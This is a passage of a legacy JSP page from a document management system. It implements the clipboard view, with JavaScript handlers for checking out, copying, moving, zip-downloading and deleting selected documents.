<%
/*
 * @(#)ListDmsDocument.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ListDmsDocument.jsp

  This is a ListDmsDocument page.  It shows the active documents' record in EIP.

    @author             Jenny Li
    @company            DCIVision Ltd
    @creation date      14/04/2004
    @version            $Revision: 1.119.2.37 $
*/
/* ********************************Modify History***********************************************
 * Modify by  : Jicle.Wang
 * Modify date: 2006/08/30
 * BugID      : EIP-143
 * Description: Reflash is normally when click button 'CLOSE' in clipboard.
 * *********************************************************************************************
 */

%>
<% request.setCharacterEncoding("UTF-8");  %>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.util.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="com.dcivision.dms.*" %>
<%@ page import="com.dcivision.dms.web.*" %>
<%@ page import="com.dcivision.dms.bean.*" %>
<%@ page import="com.dcivision.dms.core.*" %>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="com.dcivision.framework.bean.*" %>
<%@ page import="com.dcivision.framework.web.*" %>
<%@ page import="com.dcivision.dms.dao.*"%>
<%@ page import="com.dcivision.dms.DmsOperationConstant" %>
<%@ page import="com.dcivision.workflow.bean.*"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listDmsClipboardForm" scope="request" class="com.dcivision.dms.web.ListDmsClipboardForm"/>

<%
  /****************************************************************************
   * List Attributes Configuration Begin
   ****************************************************************************/
  String      LIST_NAME = "dmsClipbordList";

  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"dms.columnheader.doc_name", "documentName"},
                            {"dms.columnheader.item_status", GlobalConstant.NOT_AVAILABLE},
                            {"dms.columnheader.item_size", "itemSize"},
                            {"dms.label.location", GlobalConstant.NOT_AVAILABLE},
                            {"dms.columnheader.version", GlobalConstant.NOT_AVAILABLE}
                                //{"dms.label.copy_sturcture_option",GlobalConstant.NOT_AVAILABLE}
                          };
  int     COLUMN_OFFSET = 0;
  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/

  String sCurFunctionCode = listDmsClipboardForm.getCurFunctionCode()==null? (String)request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY): listDmsClipboardForm.getCurFunctionCode();

  Connection conn = DataSourceFactory.getConnection();
try{
  DmsDocumentDAObject dmsDocumentDAO=new DmsDocumentDAObject(sessionContainer,conn);
  VersionControlManager verControlManager = new VersionControlManager(sessionContainer, conn);
  PermissionManager permissionManager = sessionContainer.getPermissionManager();
  DocumentRetrievalManager docRetrievalManager = new DocumentRetrievalManager(sessionContainer,conn);
  DmsRootDAObject dmsRootDAObject = new DmsRootDAObject(sessionContainer,conn);
  DocumentOperationManager documentOperationManager = new DocumentOperationManager(sessionContainer,conn);
  String permission = "";
  String docItemStatus="";
  DmsDocument documentRoot = new DmsDocument();
  DmsDocument document= new DmsDocument();
  DmsDocument dmsDocument1= new DmsDocument();

  //Update By Jim Zhou        2007/03/08      EIP-1729
  String targetRootID=null;
  targetRootID = Utility.isEmpty(listDmsClipboardForm.getTargetRootID())?(Utility.isEmpty(request.getParameter("targetRootID"))?null:request.getParameter("targetRootID")):listDmsClipboardForm.getTargetRootID();
  /*
  if(!Utility.isEmpty(request.getParameter("targetRootID"))){
    targetRootID=request.getParameter("targetRootID");
  }
  */
  String destinationID=null;
  destinationID = Utility.isEmpty(listDmsClipboardForm.getDestinationID())?(Utility.isEmpty(request.getParameter("destinationID"))?null:request.getParameter("destinationID")):listDmsClipboardForm.getDestinationID();
  /*
  if(!Utility.isEmpty(request.getParameter("destinationID"))){
    destinationID=request.getParameter("destinationID");
  }
  */
  //Update End

  boolean targetFolderIsPublic = true;

  DmsDocument DestDocumentRoot = docRetrievalManager.getRootFolderByRootID(TextUtility.parseIntegerObj(listDmsClipboardForm.getTargetRootID()));
  String DestFunctionCode = "";
  if (DmsOperationConstant.DMS_PERSONAL_ROOT.equals(DestDocumentRoot.getDocumentName())) {
    DestFunctionCode = SystemFunctionConstant.DMS_PERSONAL_FOLDER;
  } else {
    DestFunctionCode = SystemFunctionConstant.DMS_PUBLIC_FOLDER;
  }
  String url = "";
  if (SystemFunctionConstant.DMS_PERSONAL_FOLDER.equals(DestFunctionCode)){    url="ListDmsDocument.do?parentID="+listDmsClipboardForm.getDestinationID()+"&rootID="+listDmsClipboardForm.getTargetRootID()+"&curFunctionCode="+DestFunctionCode;
    targetFolderIsPublic = false;
  }else if (SystemFunctionConstant.DMS_PUBLIC_FOLDER.equals(DestFunctionCode)){
  url="ListDmsPublicDocument.do?parentID="+listDmsClipboardForm.getDestinationID()+"&rootID="+listDmsClipboardForm.getTargetRootID()+"&curFunctionCode="+DestFunctionCode;
  }




  //**** Check submittable workflow part START
  String actionMode = (String)request.getAttribute(GlobalConstant.ACTION_MODE);
  String formName = "listDmsClipboardForm";
  boolean editFlag = false;

  List publicWorkflowRecordList = new ArrayList();

  //get  copy/move  target folder bind's workflow list
  publicWorkflowRecordList = documentOperationManager.getDmsRecordBindWorkflowList(com.dcivision.workflow.core.SystemWorkflowConstant.DMS_CREATE_PUBLIC_DOCUMENT,GlobalConstant.OBJECT_TYPE_DOCUMENT,targetRootID);

  //**** Check submittable workflow part END

 String prefix  = "ListDocument_";
 String sortAttribute=listDmsClipboardForm.getSortAttribute();
 String sortOrder=listDmsClipboardForm.getSortOrder();
 String preference = SystemParameterFactory.getSystemParameter(SystemParameterConstant.PREFERENCE);
 if(!Utility.isEmpty(sessionContainer.getUserRecord().getPreference())){
   preference = sessionContainer.getUserRecord().getPreference().toString();
 }
 boolean showDownload = SystemParameterFactory.getSystemParameterBoolean(SystemParameterConstant.DMS_SHOW_DOWNLOAD_BUTTON);
%>

<script type="text/javascript">
  var dlg;
  function init(e) {
      dlg = dojo.widget.byId("DialogContent");
      InitializeAction();
  }

  dojo.addOnLoad(init);
</script>

<script language="JavaScript">
<!--
var docIndex = 0;
var notAllowDeleteIDAry = new Array();
var notAllowDownLoadIDAry = new Array();
var notAllowCheckOutIDAry = new Array();
var notAllowInvitationAry=new Array();
var notAllowSendEmailAry = new Array();
var notAllowCopyIDAry=new Array();
var notAllowMoveIDAry=new Array();
var folderShortCutAry=new Array();

var rootIDArray=new Array();
var docIDArray=new Array();
var parentIDArray=new Array();
var documentTypeArray=new Array();
var permissionArray=new Array();
var sCurFunctionCodeArray=new Array();
function OpMulitpleCheckOut(frm){

  var hasChecked = false;
  var blnNotAllowCheckOutID=false;
  for (var i = 0; i < frm.elements.length; i++) {
    if (frm.elements[i].name == "basicSelectedID") {
      if (frm.elements[i].checked) {
        hasChecked = true;
        break;
      }
    }
  }
  if (!hasChecked) {
    alert("<bean:message key='common.message.no_record_selected'/>");
    return(false);
  }
  var result = operationValidate("CHECKOUT");
  if (result!="PASS") {
    refreshPage(null,null);
    return (false);
  }
  
  for(var i=0;i<parseInt(document.listDmsClipboardForm.documentType.length);i++){
    if(document.listDmsClipboardForm.basicSelectedID[i].checked==true && document.listDmsClipboardForm.documentType[i].value=='Z'){
      alert("<bean:message key='dms.message.only_document_check_out'/>");
      return(true);
    }
  }
  for (var n = 0; n < frm.elements.length; n++) {
    if (frm.elements[n].name == "basicSelectedID") {
      if (frm.elements[n].checked) {
        hasChecked1= true;
        if ('<%=DmsVersion.EXCLUSIVE_LOCK%>'==(eval("frm.itemStatus_"+frm.elements[n].value).value)){
          alert('<bean:message key='dms.message.checkout_not_checkout'/>')
          return false;
          break;
        }//end if
      }//end if
    }//end if
  }//end for
 for(var i=0;i<parseInt(frm.basicSelectedID.length);i++){
   if(frm.dmsType[i].value=='P' && frm.basicSelectedID[i].checked==true){
     alert("<bean:message key='dms.message.personal_not_checkout_doc'/>");
     return(false);
   }
 }
 if(parseInt(frm.basicSelectedID.length)>1){
 for(var i=0;i<parseInt(frm.basicSelectedID.length);i++){
      if(frm.basicSelectedID[i].checked==true){
       if(parseInt(notAllowCheckOutIDAry.length)>0){
         for(var k=0;k<parseInt(parseInt(notAllowCheckOutIDAry.length));k++){
           if(frm.basicSelectedID[i].value==notAllowCheckOutIDAry[k]){
             frm.basicSelectedID[i].checked=false;
             blnNotAllowCheckOutID = true;
             break;
           }
         }
       }
        /*
         *  Update Code Start
         *  Author              Jim.Zhou
         *  Date                    2006/05/19
         *  Bug                     #5393
         */
         if(frm.docItemStatus[i].value!='<%=DmsVersion.ARCHIVED_STATUS%>'){
           if(frm.documentType[i].value=='<%=DmsDocument.DOCUMENT_TYPE%>' || frm.documentType[i].value=='<%=DmsDocument.COMPOUND_DOC_TYPE%>'||
           frm.documentType[i].value=='<%=DmsDocument.EMAIL_DOC_TYPE%>'){
             if(frm.dmsType[i].value=='U' && !blnNotAllowCheckOutID ){
                frm.opMode.value = 'MUL_CHECKOUT';
                frm.submit();
                return(false);
              } else {
                                alert("<bean:message key='dms.message.no_right_checkout_doc' />");
                                return (false);
                            }
            } else {
                            alert("<bean:message key='dms.message.no_right_checkout_doc' />");
                            return (false);
                        }
          }
        }
        /*
         *  Update Code End
         */
    }
    if(blnNotAllowCheckOutID){
     alert("<bean:message key='dms.message.no_right_checkout_doc'/>");
     return(true);
   }
 }else{
   if(frm.basicSelectedID.checked==true){
       if(parseInt(notAllowCheckOutIDAry.length)>0){
         for(var k=0;k<parseInt(parseInt(notAllowCheckOutIDAry.length));k++){
           if(frm.basicSelectedID.value==notAllowCheckOutIDAry[k]){
             frm.basicSelectedID.checked=false;
             blnNotAllowCheckOutID = true;
             break;
           }
         }
       }
       if(blnNotAllowCheckOutID){
     alert("<bean:message key='dms.message.no_right_checkout_doc'/>");
   }
   if(frm.dmsType.value=='P'){
     alert("<bean:message key='dms.message.personal_not_checkout_doc'/>");
     return(false);
   }
        /*
         *  Update Code Start
         *  Author              Jim.Zhou
         *  Date                    2006/05/19
         *  Bug                     #5393
         */
        if(frm.docItemStatus.value!='<%=DmsVersion.ARCHIVED_STATUS%>'){
           if(frm.documentType.value=='<%=DmsDocument.DOCUMENT_TYPE%>' || frm.documentType.value=='<%=DmsDocument.COMPOUND_DOC_TYPE%>'||
           frm.documentType.value=='<%=DmsDocument.EMAIL_DOC_TYPE%>'){
             if(frm.dmsType.value=='U' && !blnNotAllowCheckOutID){
                frm.opMode.value = 'MUL_CHECKOUT';
                frm.submit();
                return(false);
             } else {
                                alert("<bean:message key='dms.message.no_right_checkout_doc' />");
                                return (false);
                         }
           } else {
                            alert("<bean:message key='dms.message.no_right_checkout_doc' />");
                            return (false);
                     }
          }
        }
        /*
         *  Update Code End
         */
 }

}

function OpCheckOut(frm,docID){
  for (var i = 0; i < frm.elements.length; i++) {
    if (frm.elements[i].name == "basicSelectedID") {
      if (frm.elements[i].value==docID){
        frm.elements[i].checked=true;
      }else{
        frm.elements[i].checked=false;
      }
    }
  }
  OpMulitpleCheckOut(frm);
  return false;
}

	var length = <%=((List)request.getAttribute("dmsClipbordList")).size()%>;
	var parentIDS = new Array(length);
	for(var i=0;i<parentIDS.length;i++) {
  		parentIDS[i] = new Array(2);
  	}

function OpCopy(frm) {

  if (frm.destinationPath.value=="") {
    alert("<bean:message key='errors.dms.target_location'/>");
    return true;
  }

//  for(var i=0;i<parseInt(document.listDmsClipboardForm.documentType.length);i++){
//    if(document.listDmsClipboardForm.basicSelectedID[i].checked==true && //document.listDmsClipboardForm.documentType[i].value=='Z'){
//      alert("<bean:message key='dms.message.only_document_zip_download'/>");
//      return(true);
//    }
//  }
  var sameDestination ;
  var hasChecked = false;
  var blnNotAllowDownLoadID=false;
  var blnFolderShortCut=false;
  var selectedIDList = new Array(length);
  var selectCount = 0;
  for (var i = 0; i < document.listDmsClipboardForm.elements.length; i++) {
    if (document.listDmsClipboardForm.elements[i].name == "basicSelectedID") {
      if (document.listDmsClipboardForm.elements[i].checked) {
        hasChecked = true;
        selectedIDList[selectCount++] = document.listDmsClipboardForm.elements[i].value;
      }
    }
  }
  for(var i=0;i<selectedIDList.length;i++) {
	for(var j=0;j<parentIDS.length;j++) {
		if(selectedIDList[i]==parentIDS[j][0]&&document.listDmsClipboardForm.destinationID.value==parentIDS[j][1]) {
			sameDestination = true;
		}
	}														
  }
  if(sameDestination) {
  	alert("<bean:message key='alert.message.same_destination'/>");
  	return false;
  }
  
if(parseInt(document.listDmsClipboardForm.basicSelectedID.length)>1){
 for(var i=0;i<parseInt(document.listDmsClipboardForm.basicSelectedID.length);i++){
      if(document.listDmsClipboardForm.basicSelectedID[i].checked==true){
       if(parseInt(notAllowDownLoadIDAry.length)>0){
         for(var k=0;k<parseInt(parseInt(notAllowDownLoadIDAry.length));k++){
           if(document.listDmsClipboardForm.basicSelectedID[i].value==notAllowDownLoadIDAry[k]){
             document.listDmsClipboardForm.basicSelectedID[i].checked=false;
             blnNotAllowDownLoadID = true;
             break;
           }
         }
       }
       if(parseInt(folderShortCutAry.length)>0){
         for(var k=0;k<parseInt(parseInt(folderShortCutAry.length));k++){
           if(document.listDmsClipboardForm.basicSelectedID[i].value==folderShortCutAry[k]){
              document.listDmsClipboardForm.basicSelectedID[i].checked=false;
              blnFolderShortCut = true;
              break;
           }
         }
       }

        }
    }
    if(blnFolderShortCut){
      alert("<bean:message key='dms.message.folder.shortcut_operate'/>");
    }
    if(blnNotAllowDownLoadID){
     alert("<bean:message key='dms.message.no_right_download_doc'/>");
   }
 }else{
   if(document.listDmsClipboardForm.basicSelectedID.checked==true){
       if(parseInt(folderShortCutAry.length)>0){
         for(var k=0;k<parseInt(parseInt(folderShortCutAry.length));k++){
           if(document.listDmsClipboardForm.basicSelectedID.value==folderShortCutAry[k]){
              document.listDmsClipboardForm.basicSelectedID.checked=false;
              blnFolderShortCut = true;
              break;
           }
         }
       }
    if(blnFolderShortCut){
      alert("<bean:message key='dms.message.folder.shortcut_operate'/>");
    }
       if(parseInt(notAllowDownLoadIDAry.length)>0){
         for(var k=0;k<parseInt(parseInt(notAllowDownLoadIDAry.length));k++){
           if(document.listDmsClipboardForm.basicSelectedID.value==notAllowDownLoadIDAry[k]){
             document.listDmsClipboardForm.basicSelectedID.checked=false;
             blnNotAllowDownLoadID = true;
             break;
           }
         }
       }
   if(blnNotAllowDownLoadID){
     alert("<bean:message key='dms.message.no_right_download_doc'/>");
     return(true);
    }

 }
   }

  if (!hasChecked) {
    alert("<bean:message key='common.message.no_record_selected'/>");
    return(true);
  }

  var result = operationValidate("COPY");
  if (result!="PASS") {
    refreshPage(null,null);
    return (false);
  }
  
  if(!blnNotAllowDownLoadID && !blnFolderShortCut){
      frm.opMode.value = '<%=DmsOperationConstant.COPY_OPERATION%>';
    loadingTo(null, true);
      frm.submit();
      return false;
  }
}

function OpMove(frm) {

  if (frm.destinationPath.value=="") {
    alert("<bean:message key='errors.dms.target_location'/>");
    return true;
  }

//  for(var i=0;i<parseInt(document.listDmsClipboardForm.documentType.length);i++){
//    if(document.listDmsClipboardForm.basicSelectedID[i].checked==true && document.listDmsClipboardForm.documentType[i].value=='Z'){
//      alert("<bean:message key='dms.message.only_document_zip_download'/>");
//      return(true);
//    }
//  }
  var sameDestination ;
  var hasChecked = false;
  var blnNotAllowDownLoadID=false;
  var blnFolderShortCut=false;
  var selectedIDList = new Array(length);
  var selectCount = 0;
  for (var i = 0; i < document.listDmsClipboardForm.elements.length; i++) {
    if (document.listDmsClipboardForm.elements[i].name == "basicSelectedID") {
      if (document.listDmsClipboardForm.elements[i].checked) {
        hasChecked = true;
        selectedIDList[selectCount++] = document.listDmsClipboardForm.elements[i].value;
      }
    }
  }
  for(var i=0;i<selectedIDList.length;i++) {
	for(var j=0;j<parentIDS.length;j++) {
		if(selectedIDList[i]==parentIDS[j][0]&&document.listDmsClipboardForm.destinationID.value==parentIDS[j][1]) {
			sameDestination = true;
		}
	}														
  }
  if(sameDestination) {
  	alert("<bean:message key='alert.message.same_destination'/>");
  	return false;
  }
  
  //joan.xiong add code for bug EIP-1051 by 2006/11/24
  for(var i = 0; i < document.listDmsClipboardForm.elements.length; i++) {
    if (document.listDmsClipboardForm.elements[i].name == "basicSelectedID" && document.listDmsClipboardForm.elements[i].checked &&(document.listDmsClipboardForm.elements[i].value == document.listDmsClipboardForm.destinationID.value)) {
        alert("<bean:message key='dms.message.not_valid_move_current_folder'/>");
        return false;
    }
  }
  //joan.xiong add code end
if(parseInt(document.listDmsClipboardForm.basicSelectedID.length)>1){
 for(var i=0;i<parseInt(document.listDmsClipboardForm.basicSelectedID.length);i++){
      if(document.listDmsClipboardForm.basicSelectedID[i].checked==true){
       if(parseInt(notAllowDownLoadIDAry.length)>0){
         for(var k=0;k<parseInt(parseInt(notAllowDownLoadIDAry.length));k++){
           if(document.listDmsClipboardForm.basicSelectedID[i].value==notAllowDownLoadIDAry[k]){
             document.listDmsClipboardForm.basicSelectedID[i].checked=false;
             blnNotAllowDownLoadID = true;
             break;
           }
         }
       }
       if(parseInt(folderShortCutAry.length)>0){
         for(var k=0;k<parseInt(parseInt(folderShortCutAry.length));k++){
           if(document.listDmsClipboardForm.basicSelectedID[i].value==folderShortCutAry[k]){
              document.listDmsClipboardForm.basicSelectedID[i].checked=false;
              blnFolderShortCut = true;
              break;
           }
         }
       }

        }
    }
    if(blnFolderShortCut){
      alert("<bean:message key='dms.message.folder.shortcut_operate'/>");
    }
    if(blnNotAllowDownLoadID){
     alert("<bean:message key='dms.message.no_right_download_doc'/>");
   }
 }else{
   if(document.listDmsClipboardForm.basicSelectedID.checked==true){
       if(parseInt(folderShortCutAry.length)>0){
         for(var k=0;k<parseInt(parseInt(folderShortCutAry.length));k++){
           if(document.listDmsClipboardForm.basicSelectedID.value==folderShortCutAry[k]){
              document.listDmsClipboardForm.basicSelectedID.checked=false;
              blnFolderShortCut = true;
              break;
           }
         }
       }
    if(blnFolderShortCut){
      alert("<bean:message key='dms.message.folder.shortcut_operate'/>");
    }
       if(parseInt(notAllowDownLoadIDAry.length)>0){
         for(var k=0;k<parseInt(parseInt(notAllowDownLoadIDAry.length));k++){
           if(document.listDmsClipboardForm.basicSelectedID.value==notAllowDownLoadIDAry[k]){
             document.listDmsClipboardForm.basicSelectedID.checked=false;
             blnNotAllowDownLoadID = true;
             break;
           }
         }
       }
   if(blnNotAllowDownLoadID){
     alert("<bean:message key='dms.message.no_right_download_doc'/>");
     return(true);
    }

 }
   }

  if (!hasChecked) {
    alert("<bean:message key='common.message.no_record_selected'/>");
    return(true);
  }
  
  var result = operationValidate("MOVE");
  if (result!="PASS") {
    refreshPage(null,null);
    return (false);
  }
  if(!blnNotAllowDownLoadID && !blnFolderShortCut){
      frm.opMode.value = '<%=DmsOperationConstant.MOVE_OPERATION%>';
    loadingTo(null, true);
    frm.submit();
    return false;
  }
}

function INIT(){
  for (var i = 0; i < document.listDmsClipboardForm.elements.length; i++) {
    if (document.listDmsClipboardForm.elements[i].name == "basicSelectedID") {
        document.listDmsClipboardForm.elements[i].checked=true;
    }
  }
  //joan.xiong add code for bug EIP-757 by 2006/11/14
  if(document.listDmsClipboardForm.PARADM_CB_ALL_NONE!=null){
    document.listDmsClipboardForm.PARADM_CB_ALL_NONE.checked = true;
  }
  //joan.xiong add code end
}

function refreshPage(rootID, parentID) {
  document.listDmsClipboardForm.rootID.value = rootID;
  document.listDmsClipboardForm.parentID.value = parentID;
  document.listDmsClipboardForm.opMode.value="";
  document.listDmsClipboardForm.submit();
}

function refreshPage(rootID, parentID, homePageFunctionCode){
  document.listDmsClipboardForm.rootID.value = rootID;
  document.listDmsClipboardForm.parentID.value = parentID;
  document.listDmsClipboardForm.homePageFunctionCode.value = homePageFunctionCode;
  document.listDmsClipboardForm.opMode.value="";
  document.listDmsClipboardForm.submit();
}

function closeWindow() {
    //Add By Jim Zhou                   2007/03/02          EIP-1748
    if (window.opener.closed) {
        window.close();
        return (false);
    }
    //Add End
    //Update By Jim Zhou            2006/10/18      EIP-396                 add 'else' before  'if'
  if (window.opener.location.href.indexOf("ListDmsPublicDocument.do") >= 0) {
     window.opener.location.reload();
  } else if (window.opener.location.href.indexOf("ListDmsDocument.do") >= 0) {
     window.opener.location.reload();
  } else if(window.opener.location.href.indexOf("BulkSearchDmsDocument.do") >= 0){
     window.opener.location.href = "<%=request.getContextPath()%>/dms/BulkSearchDmsDocument.do?opMode=<%=GlobalConstant.OP_MODE_LIST_RETAIN%>";
  } else if(window.opener.location.href.indexOf("/SearchDmsDocument.do") >= 0){
     window.opener.location.href = "<%=request.getContextPath()%>/dms/SearchDmsDocument.do?opMode=<%=GlobalConstant.OP_MODE_LIST_RETAIN%>";
  } else if(window.opener.location.href.indexOf("SearchKeywordDmsDocument.do") >= 0){
     window.opener.location.href = "<%=request.getContextPath()%>/dms/SearchKeywordDmsDocument.do?opMode=<%=GlobalConstant.OP_MODE_LIST_RETAIN%>";
  }
  window.close();
  return(false);
}

function opClipboardZipDownload(){
//  for(var i=0;i<parseInt(document.listDmsClipboardForm.documentType.length);i++){
//    if(document.listDmsClipboardForm.basicSelectedID[i].checked==true && document.listDmsClipboardForm.documentType[i].value=='Z'){
//      alert("<bean:message key='dms.message.only_document_zip_download'/>");
//      return(true);
//    }
//  }

  var hasChecked = false;
  var blnNotAllowDownLoadID=false;
  var blnFolderShortCut=false;
  for (var i = 0; i < document.listDmsClipboardForm.elements.length; i++) {
    if (document.listDmsClipboardForm.elements[i].name == "basicSelectedID") {
      if (document.listDmsClipboardForm.elements[i].checked) {
        hasChecked = true;
        break;
      }
    }
  }

  if (!hasChecked) {
    alert("<bean:message key='common.message.no_record_selected'/>");
   return(true);
  }
  
  var result = operationValidate("DOWNLOAD");
  if (result!="PASS") {
    refreshPage(null,null);
    return (false);
  }
  
if(parseInt(document.listDmsClipboardForm.basicSelectedID.length)>1){
 for(var i=0;i<parseInt(document.listDmsClipboardForm.basicSelectedID.length);i++){
      if(document.listDmsClipboardForm.basicSelectedID[i].checked==true){
       if(parseInt(notAllowDownLoadIDAry.length)>0){
         for(var k=0;k<parseInt(parseInt(notAllowDownLoadIDAry.length));k++){
           if(document.listDmsClipboardForm.basicSelectedID[i].value==notAllowDownLoadIDAry[k]){
             document.listDmsClipboardForm.basicSelectedID[i].checked=false;
             blnNotAllowDownLoadID = true;
             break;
           }
         }
       }
       if(parseInt(folderShortCutAry.length)>0){
         for(var k=0;k<parseInt(parseInt(folderShortCutAry.length));k++){
           if(document.listDmsClipboardForm.basicSelectedID[i].value==folderShortCutAry[k]){
              document.listDmsClipboardForm.basicSelectedID[i].checked=false;
              blnFolderShortCut = true;
              break;
           }
         }
       }

        }
    }
    if(blnFolderShortCut){
      alert("<bean:message key='dms.message.folder.shortcut_download'/>");
    }
    if(blnNotAllowDownLoadID){
     alert("<bean:message key='dms.message.no_right_download_doc'/>");
   }
 }else{
   if(document.listDmsClipboardForm.basicSelectedID.checked==true){
       if(parseInt(folderShortCutAry.length)>0){
         for(var k=0;k<parseInt(parseInt(folderShortCutAry.length));k++){
           if(document.listDmsClipboardForm.basicSelectedID.value==folderShortCutAry[k]){
              document.listDmsClipboardForm.basicSelectedID.checked=false;
              blnFolderShortCut = true;
              break;
           }
         }
       }
    if(blnFolderShortCut){
      alert("<bean:message key='dms.message.folder.shortcut_download'/>");
    }
       if(parseInt(notAllowDownLoadIDAry.length)>0){
         for(var k=0;k<parseInt(parseInt(notAllowDownLoadIDAry.length));k++){
           if(document.listDmsClipboardForm.basicSelectedID.value==notAllowDownLoadIDAry[k]){
             document.listDmsClipboardForm.basicSelectedID.checked=false;
             blnNotAllowDownLoadID = true;
             break;
           }
         }
       }
   if(blnNotAllowDownLoadID){
     alert("<bean:message key='dms.message.no_right_download_doc'/>");
     return(true);
    }

 }
   }

  if (!hasChecked) {
    alert("<bean:message key='common.message.no_record_selected'/>");
    return(true);
  }
  if(!blnNotAllowDownLoadID && !blnFolderShortCut){
    document.listDmsClipboardForm.opMode.value = 'ZIP.DOWNLOAD';
    document.listDmsClipboardForm.submit();
    return(false);
  }
}

var j=0;
var m=0;
var hasWarning=false;

function hideRelationshipDialog(){
  dlg.hide();
}

function doDeleteAction(isIgnore) {
  try {
    document.listDmsClipboardForm.ignoreDeleteShortcut.value = "false";//(isIgnore ? "true" : "false");
    OpListDelete(document.listDmsClipboardForm);
  }catch(e) {

  }
  hideRelationshipDialog();
}

//replace with new OpCustListDelete function(lee update for bug 6001 06/08/07)
function OpCustListDelete(frm) {

  var blnNotAllowDelete = false;
  var blnNotHasChecked = true;
  var urlQueryString = "";
  if (frm==null) frm = document.listDmsClipboardForm;
  var form = document.listDmsClipboardForm;
  var basicSelectedID = document.listDmsClipboardForm.basicSelectedID;
  //joan.xiong add code for bug EIP-775 by 2006/11/01
  if(basicSelectedID == null){
      basicSelectedID = new Array(0);
  }else
  //joan.xiong add code end
  if (!basicSelectedID.length) {
    basicSelectedID = new Array(basicSelectedID);
  }
  var notPermissionID = notAllowDeleteIDAry;
  if (!notAllowDeleteIDAry.length) {
    notPermissionID = new Array(notAllowDeleteIDAry);
  }
  for (var i=0; i<basicSelectedID.length; i++) {
    if (basicSelectedID[i].checked) {
      blnNotHasChecked = false;
      urlQueryString += (urlQueryString=="" ? "selectID="+basicSelectedID[i].value : "&selectID="+basicSelectedID[i].value);
      for (var k=0; k<notPermissionID.length; k++) {
        if (basicSelectedID[i].value == notPermissionID[k]) {
          basicSelectedID[i].checked =false;
          blnNotAllowDelete = true;
        }
      }
    }
  }
  if (blnNotHasChecked) {
    alert("<bean:message key='common.message.no_record_selected'/>");
    return(false);
  }else if (blnNotAllowDelete) {
    alert("<bean:message key='dms.message.no_right_delete_doc'/>");
    return false;
  }else {
    var result = operationValidate("DELETE");
  	if (result!="PASS") {
      refreshPage(null,null);
      return (false);
    }
  
    send_request("<%= request.getContextPath() %>/jsp/dms/GetDmsRelationships2.jsp?"+urlQueryString+"&date="+new Date());
    var relationshipIds = http_request.responseText;
    var relationshipWarningURL = "<%=request.getContextPath()%>/dms/RelationshipWarning.do?";
    if (relationshipIds.indexOf("RETIDS")!=-1) {
      relationshipWarningURL += relationshipIds.substring(relationshipIds.indexOf("RETIDS")+6);
      relationshipWarningURL += "&formName="+frm.name+"&date="+new Date();
      dlg.setUrl(relationshipWarningURL);
      dlg.show();
      //OpenCenteredPopup(relationshipWarningURL+"&formName="+frm.name+"&date="+new Date(), "RelationshipWarning", "800", "400", "scrollbars=yes,resizable=no");
    }else if (relationshipIds.indexOf("ERROR")!=-1) {
      alert("Error cause by:"+relationshipIds);
    }else {
      OpListDelete(frm);
    }
  }
}

function SetCheck(docID,funFlag) {
  hasWarning=true;
  if (parseInt(document.listDmsClipboardForm.basicSelectedID.length)>1) {
    for (var i=0;i<parseInt(document.listDmsClipboardForm.basicSelectedID.length);i++) {
      if (document.listDmsClipboardForm.basicSelectedID[i].value==docID) {
        document.listDmsClipboardForm.basicSelectedID[i].checked=false;
      }
    }
  } else {
    if (document.listDmsClipboardForm.basicSelectedID.value==docID) {
      document.listDmsClipboardForm.basicSelectedID.checked=false;
    }
  }

}

function OpRemove(){
  var hasChecked = false;

  for (var i = 0; i < document.listDmsClipboardForm.elements.length; i++) {
    if (document.listDmsClipboardForm.elements[i].name == "basicSelectedID") {
      if (document.listDmsClipboardForm.elements[i].checked) {
        hasChecked = true;
        break;
      }
    }
  }

  if (!hasChecked) {
    alert("<bean:message key='common.message.no_record_selected'/>");
   return(true);
  }
  window.opener.OpClipboardRemove(listDmsClipboardForm);
  document.listDmsClipboardForm.opMode.value=null;
  document.listDmsClipboardForm.submit();
  return(false)
}

function OpSelfListDelete(){
  var checkedCount=0;
  var selectedID = parseInt(document.listDmsClipboardForm.basicSelectedID.length);
  if (parseInt(document.listDmsClipboardForm.basicSelectedID.length)>1) {
    for (var i=0; i<parseInt(document.listDmsClipboardForm.basicSelectedID.length); i++) {
      if (document.listDmsClipboardForm.basicSelectedID[i].checked==true) {
         checkedCount++;
      }
    }
  } else {
    if(document.listDmsClipboardForm.basicSelectedID.checked==true){
       checkedCount++;
    }
  }
  if(hasWarning==false || checkedCount>0){
    return OpListDelete();
  }
}

function getOtherPage(docID, funFlag,lockUserID,checkUnload) {
  if(checkUnload==true){
    if(funFlag=="delete"){
      alert("<bean:message key='dms.message.delete_aborted'/>");
    }else if(funFlag=="move"){
      alert("<bean:message key='dms.message.move_aborted'/>");
    }else if(funFlag=="update"){
      alert("<bean:message key='dms.message.update_aborted'/>");
    }
  }else{
    if (funFlag=="move") {

    } else if(funFlag=="update") {
        var parentID=document.listDmsClipboardForm.parentID.value;
        var rootID=document.listDmsClipboardForm.rootID.value;
      return CustOpCheckin(docID,parentID,rootID,'<%=sCurFunctionCode%>',lockUserID,<%=sessionContainer.getUserRecordID()%>,"DMS.CLIPBOARD");
    }
  }
}

function CustOpCheckin(documentID, parentID, rootID, curFunctionCode, lockUserID, curUserID, navMode,hasRelationship){

  if(hasRelationship==true){
    popupRelationshipWarning(documentID,parentID,rootID,'update',lockUserID);
  }else{
  var frm;
  for (var i = 0; i < document.forms.length; i++) {
    if (document.forms[i].name != "") {
      frm = document.forms[i];
      break;
    }
  }
  if (lockUserID != curUserID) {
    alert("<bean:message key='errors.dms.checkin_identity_mismatch'/>");
    return false;
  }
  if (confirm("<bean:message key='dms.message.confirm_records_checked_in'/>")) {
